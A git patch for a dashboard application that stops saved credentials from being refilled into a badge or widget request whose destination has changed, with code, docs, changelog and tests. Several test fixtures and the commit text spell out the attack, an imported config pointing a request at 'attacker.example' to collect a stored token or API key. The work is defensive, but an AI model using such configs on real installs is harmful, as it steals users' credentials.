From a56aa8df3f24400b4acd93200339de521b2501c7 Mon Sep 17 00:00:00 2001
From: SandObserver <260779319+SandObserver@users.noreply.github.com>
Date: Tue, 11 Aug 2026 17:22:42 -0400
Subject: [PATCH] Security: bind a stored credential to the request it was
saved for
Refilling a withheld secret matched the incoming item by id alone, so a
saved config could keep an item's id and its secret marker, point the
request at another host, and have the server fill the real credential back
in. The next poll then delivered it there, with nothing on screen to show
for it. A config file is something people import from elsewhere, which
makes the file the attack.
The scope check that already guards the two endpoints for testing a badge
or a widget now guards the save path as well: a secret is restored only
when everything about that request other than the secret is unchanged. The
two blocks on an app are judged separately, so moving the activity badge
does not drop the credential the status badge uses.
Anything withheld is named in the response and reported in the admin UI,
so a save that moved a request does not look like it kept working.
Restoring an export is unaffected: it changes nothing but the values.
---
CHANGELOG.md | 3 +
api/src/config-secrets.js | 110 ++++++++++++++++++--
api/src/routes/config.js | 8 +-
api/test/config-secrets.test.js | 174 ++++++++++++++++++++++++++++++++
docs/security.md | 12 ++-
ui/admin/index.html | 2 +-
ui/i18n/de.json | 3 +-
ui/i18n/en.json | 3 +-
ui/i18n/es.json | 3 +-
ui/i18n/fa.json | 3 +-
ui/i18n/fr.json | 3 +-
ui/i18n/zh-Hans.json | 3 +-
ui/js/admin-settings.js | 8 +-
ui/js/admin.js | 15 ++-
14 files changed, 329 insertions(+), 21 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 95e16517..b53002a3 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -65,6 +65,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Security
+- A stored credential is only reused for the request it was saved for.
+ Changing where a badge or a widget sends it now requires entering it again.
+
- The Password Protection switch refuses a request that does not plainly say on
or off, instead of reading it as off and deleting the stored password.
diff --git a/api/src/config-secrets.js b/api/src/config-secrets.js
index 9bac793e..7cc85752 100644
--- a/api/src/config-secrets.js
+++ b/api/src/config-secrets.js
@@ -2,8 +2,10 @@
cannot run some of them and miss others. Settings-level secrets are not item
secrets and stay in the config route. */
-const { scrubConfigSecrets, preserveConfigSecrets } = require('./widget-secrets');
-const { scrubItemBadgeSecrets, preserveItemBadgeSecrets } = require('./badge-headers');
+const { scrubConfigSecrets, preserveConfigSecrets, secretSpec } = require('./widget-secrets');
+const { scrubItemBadgeSecrets, preserveItemBadgeSecrets, toRows } = require('./badge-headers');
+const { badgeRequestMatchesSaved, widgetConfigMatchesSaved } = require('./secret-scope');
+const { getRegistry } = require('./widgets');
function scrubAllSecrets(cfg) {
scrubConfigSecrets(cfg);
@@ -13,16 +15,112 @@ function scrubAllSecrets(cfg) {
return cfg;
}
+/* Whether anything would actually be refilled from this block, so an item is
+ only reported as needing a credential when one was really withheld. */
+function rowsHoldSecret(rows) {
+ return toRows(rows).some(r => r.secret && r.value != null && r.value !== '');
+}
+
+function blockHoldsSecret(block) {
+ return !!block && (rowsHoldSecret(block.headers) || rowsHoldSecret(block.params));
+}
+
+/* The saved request a block would be refilled against, in the shape the scope
+ check compares. */
+const asRequest = block => ({ url: block?.url, headers: block?.headers, params: block?.params });
+
+function widgetHoldsSecret(config, entry) {
+ if (!config || !entry) return false;
+ const { topLevel, groups, objects } = secretSpec(entry);
+ const set = v => v != null && v !== '';
+ if (topLevel.some(k => set(config[k]))) return true;
+ for (const [gk, subKeys] of Object.entries(groups)) {
+ if (Array.isArray(config[gk]) && config[gk].some(row => row && subKeys.some(sk => set(row[sk])))) return true;
+ }
+ for (const [ok, subKeys] of Object.entries(objects)) {
+ if (config[ok] && subKeys.some(sk => set(config[ok][sk]))) return true;
+ }
+ return false;
+}
+
+/** Refill the secrets a save arrived without, but only for the items whose
+ request is still the one the secret was stored for.
+
+ A saved config names where each credential is sent. Matching a stored secret
+ to an incoming item by its id alone would refill it for a request that now
+ points somewhere else, and the next poll would deliver the credential there:
+ a config file is something people import from elsewhere, so that is a way to
+ take a token out of an install by sending its owner a file. The same check
+ already guards the two endpoints that test a badge or a widget; this is the
+ save path using it too.
+
+ Returns the items whose secret was withheld, so the caller can say which
+ credentials have to be entered again.
+
+ @param {any} newCfg @param {any} oldCfg
+ @returns {{ withheld: Array<{ id: string, label: string }> }} */
function preserveAllSecrets(newCfg, oldCfg) {
- preserveConfigSecrets(newCfg, oldCfg);
+ const withheld = [];
+ const note = item => {
+ if (!withheld.some(w => w.id === item.id)) withheld.push({ id: item.id, label: item.label || item.id });
+ };
+ const oldItems = Array.isArray(oldCfg?.items) ? oldCfg.items : [];
+ const prevOf = item => oldItems.find(e => e && e.id === item.id);
+
if (Array.isArray(newCfg.items)) {
+ /* Widgets first: preserveConfigSecrets walks the whole config, so the items
+ it must not refill are the ones whose config no longer matches. */
+ const reg = getRegistry();
+ const scopedForWidgets = { ...newCfg, items: [] };
+ const keepWidget = new Map();
+ for (const item of newCfg.items) {
+ if (!item || item.type !== 'widget') continue;
+ const prev = prevOf(item);
+ const entry = reg[item.widgetType];
+ const ok = !prev || !entry || widgetConfigMatchesSaved(item.widgetConfig || {}, prev.widgetConfig || {}, entry);
+ keepWidget.set(item, ok);
+ if (!ok && widgetHoldsSecret(prev.widgetConfig, entry)) note(item);
+ }
+ /* preserveConfigSecrets reads oldCfg.items by id, so an item that must not
+ be refilled is hidden from it rather than handled separately. */
+ scopedForWidgets.items = newCfg.items;
+ const oldForWidgets = {
+ ...oldCfg,
+ items: oldItems.filter(o => {
+ const match = newCfg.items.find(n => n && n.id === o.id && n.type === 'widget');
+ return !match || keepWidget.get(match) !== false;
+ }),
+ };
+ preserveConfigSecrets(scopedForWidgets, oldForWidgets);
+
for (const item of newCfg.items) {
if (item?.type !== 'app') continue;
- const prev = oldCfg?.items?.find(e => e && e.id === item.id);
- preserveItemBadgeSecrets(item, prev);
+ const prev = prevOf(item);
+ if (!prev) {
+ preserveItemBadgeSecrets(item, undefined);
+ continue;
+ }
+ /* Each block carries its own destination, so they are judged separately:
+ changing where the activity badge points must not also drop the
+ credential the status badge uses. */
+ const scoped = { ...prev };
+ for (const [block, oldBlock, set] of [
+ [item.badge, prev.badge, b => (scoped.badge = b)],
+ [
+ item.monitoring?.activity,
+ prev.monitoring?.activity,
+ b => (scoped.monitoring = { ...prev.monitoring, activity: b }),
+ ],
+ ]) {
+ if (!block) continue;
+ if (badgeRequestMatchesSaved(asRequest(block), oldBlock ? asRequest(oldBlock) : null)) continue;
+ set(undefined);
+ if (blockHoldsSecret(oldBlock)) note(item);
+ }
+ preserveItemBadgeSecrets(item, scoped);
}
}
- return newCfg;
+ return { withheld };
}
module.exports = { scrubAllSecrets, preserveAllSecrets };
diff --git a/api/src/routes/config.js b/api/src/routes/config.js
index b18930a3..982ea99d 100644
--- a/api/src/routes/config.js
+++ b/api/src/routes/config.js
@@ -140,13 +140,17 @@ on('POST', '/api/config', async (req, res) => {
data.settings = data.settings || {};
data.settings.auth = JSON.parse(JSON.stringify(existing.settings.auth));
}
- preserveAllSecrets(data, existing);
+ /* A stored credential is only refilled for the request it was stored for.
+ Anything withheld is named back to the caller, so a save that changed
+ where a badge points does not look like it kept working. */
+ const { withheld } = preserveAllSecrets(data, existing);
migrate(data); /* upgrade old imported/restored configs; no-op for normal saves */
ensureSystemItems(data);
saveConfig(data);
if (data.settings) log.setLevel(data.settings.logLevel);
log.audit('config saved', {});
- json(res, 200, { ok: true });
+ if (withheld.length) log.audit('stored credentials withheld', { items: withheld.map(w => w.id) });
+ json(res, 200, withheld.length ? { ok: true, withheld } : { ok: true });
} catch (e) {
fail(res, e, { status: 400 });
}
diff --git a/api/test/config-secrets.test.js b/api/test/config-secrets.test.js
index 05df144e..882e0fbf 100644
--- a/api/test/config-secrets.test.js
+++ b/api/test/config-secrets.test.js
@@ -137,3 +137,177 @@ test('preserveAllSecrets restores widget and badge secrets in one call', () => {
assert.equal(app.badge.headers[0].valueSet, undefined);
assert.equal(incoming.items[0].widgetConfig.slots[0].dupPass, 'DUP');
});
+
+/* ── a stored secret belongs to the request it was stored for ─────────────── */
+
+/* Refilling by item id alone let a config file take a credential out of an
+ install: keep the id and the header, mark the value as still stored, and
+ point the request somewhere else, and the next poll delivered the stored
+ token to whoever the file named. A config is a thing people import from
+ elsewhere, so the file is the attack. The two endpoints that test a badge or
+ a widget already refuse this; the save path refuses it too now. */
+
+test('a badge secret is not refilled once the request points elsewhere', () => {
+ const stored = {
+ items: [
+ {
+ id: 'b1',
+ type: 'app',
+ label: 'Badge',
+ monitoring: {
+ activity: {
+ enabled: true,
+ url: 'https://legit.example/api',
+ headers: [{ key: 'Authorization', value: 'Bearer REAL', secret: true }],
+ },
+ },
+ },
+ ],
+ };
+ const incoming = {
+ items: [
+ {
+ id: 'b1',
+ type: 'app',
+ label: 'Badge',
+ monitoring: {
+ activity: {
+ enabled: true,
+ url: 'https://attacker.example/collect',
+ headers: [{ key: 'Authorization', value: '', secret: true }],
+ },
+ },
+ },
+ ],
+ };
+ const { withheld } = preserveAllSecrets(incoming, stored);
+ assert.equal(incoming.items[0].monitoring.activity.headers[0].value, '', 'the token did not travel');
+ assert.deepEqual(
+ withheld.map(w => w.id),
+ ['b1'],
+ 'and the save says which credential has to be entered again',
+ );
+});
+
+test('a badge secret survives a save that changed nothing about the request', () => {
+ const stored = {
+ items: [
+ {
+ id: 'b1',
+ type: 'app',
+ monitoring: {
+ activity: {
+ url: 'https://legit.example/api',
+ headers: [{ key: 'Authorization', value: 'Bearer REAL', secret: true }],
+ },
+ },
+ },
+ ],
+ };
+ /* What restoring an export looks like: the value is gone, everything else is
+ as it was. */
+ const incoming = {
+ items: [
+ {
+ id: 'b1',
+ type: 'app',
+ monitoring: {
+ activity: {
+ url: 'https://legit.example/api',
+ headers: [{ key: 'Authorization', secret: true, valueSet: true }],
+ },
+ },
+ },
+ ],
+ };
+ const { withheld } = preserveAllSecrets(incoming, stored);
+ assert.equal(incoming.items[0].monitoring.activity.headers[0].value, 'Bearer REAL');
+ assert.deepEqual(withheld, []);
+});
+
+test('renaming the app keeps its badge credential', () => {
+ const activity = {
+ url: 'https://legit.example/api',
+ headers: [{ key: 'Authorization', value: 'Bearer REAL', secret: true }],
+ };
+ const stored = { items: [{ id: 'b1', type: 'app', label: 'Before', monitoring: { activity } }] };
+ const incoming = {
+ items: [
+ {
+ id: 'b1',
+ type: 'app',
+ label: 'After',
+ href: 'https://new.example',
+ monitoring: {
+ activity: { url: 'https://legit.example/api', headers: [{ key: 'Authorization', value: '', secret: true }] },
+ },
+ },
+ ],
+ };
+ const { withheld } = preserveAllSecrets(incoming, stored);
+ assert.equal(incoming.items[0].monitoring.activity.headers[0].value, 'Bearer REAL');
+ assert.deepEqual(withheld, []);
+});
+
+test('a widget secret is not refilled once its config points elsewhere', () => {
+ const stored = {
+ items: [
+ {
+ id: 'w1',
+ type: 'widget',
+ widgetType: 'books',
+ label: 'Books',
+ widgetConfig: { provider: 'abs', absUrl: 'https://books.legit.example', absKey: 'REAL_KEY' },
+ },
+ ],
+ };
+ const incoming = {
+ items: [
+ {
+ id: 'w1',
+ type: 'widget',
+ widgetType: 'books',
+ label: 'Books',
+ widgetConfig: { provider: 'abs', absUrl: 'https://attacker.example', absKeySet: true },
+ },
+ ],
+ };
+ const { withheld } = preserveAllSecrets(incoming, stored);
+ assert.equal(incoming.items[0].widgetConfig.absKey, undefined, 'the key did not travel');
+ assert.deepEqual(
+ withheld.map(w => w.id),
+ ['w1'],
+ );
+});
+
+test('a widget secret survives a save that changed nothing else', () => {
+ const stored = {
+ items: [
+ {
+ id: 'w1',
+ type: 'widget',
+ widgetType: 'books',
+ widgetConfig: { provider: 'abs', absUrl: 'https://books.legit.example', absKey: 'REAL_KEY' },
+ },
+ ],
+ };
+ const incoming = {
+ items: [
+ {
+ id: 'w1',
+ type: 'widget',
+ widgetType: 'books',
+ widgetConfig: { provider: 'abs', absUrl: 'https://books.legit.example', absKeySet: true },
+ },
+ ],
+ };
+ const { withheld } = preserveAllSecrets(incoming, stored);
+ assert.equal(incoming.items[0].widgetConfig.absKey, 'REAL_KEY');
+ assert.deepEqual(withheld, []);
+});
+
+test('an item that never had a stored secret is not reported', () => {
+ const stored = { items: [{ id: 'a1', type: 'app', monitoring: { activity: { url: 'https://a.example' } } }] };
+ const incoming = { items: [{ id: 'a1', type: 'app', monitoring: { activity: { url: 'https://b.example' } } }] };
+ assert.deepEqual(preserveAllSecrets(incoming, stored).withheld, []);
+});
diff --git a/docs/security.md b/docs/security.md
index 62bedfa0..359241a0 100644
--- a/docs/security.md
+++ b/docs/security.md
@@ -123,7 +123,17 @@ value. Secrets are preserved on save when the browser submits the config
without them. A value stored as a secret is never sent back, in the config
response or in an export.
-Two consequences of that guarantee:
+A secret is only put back for the request it was stored for. If a save changes
+where the credential would be sent, by editing a badge's URL, its non-secret
+headers or parameters, or any non-secret field of a widget's config, the stored
+value is not restored and the response names the items whose credential has to
+be entered again. Matching on the item's id alone would let a config file take a
+credential out of an install: keep the id, mark the value as still stored, point
+the request elsewhere, and the next poll would deliver it there. A config is
+something people import from elsewhere, so that file is the attack. The
+endpoints that test a badge or a widget apply the same rule.
+
+Three consequences of that guarantee:
- Unticking **Secret** on a header or credential row clears the stored value on
the next save, and the credential has to be retyped. Refilling the row would
diff --git a/ui/admin/index.html b/ui/admin/index.html
index 052c532d..58d60930 100644
--- a/ui/admin/index.html
+++ b/ui/admin/index.html
@@ -285,6 +285,6 @@ General
-
+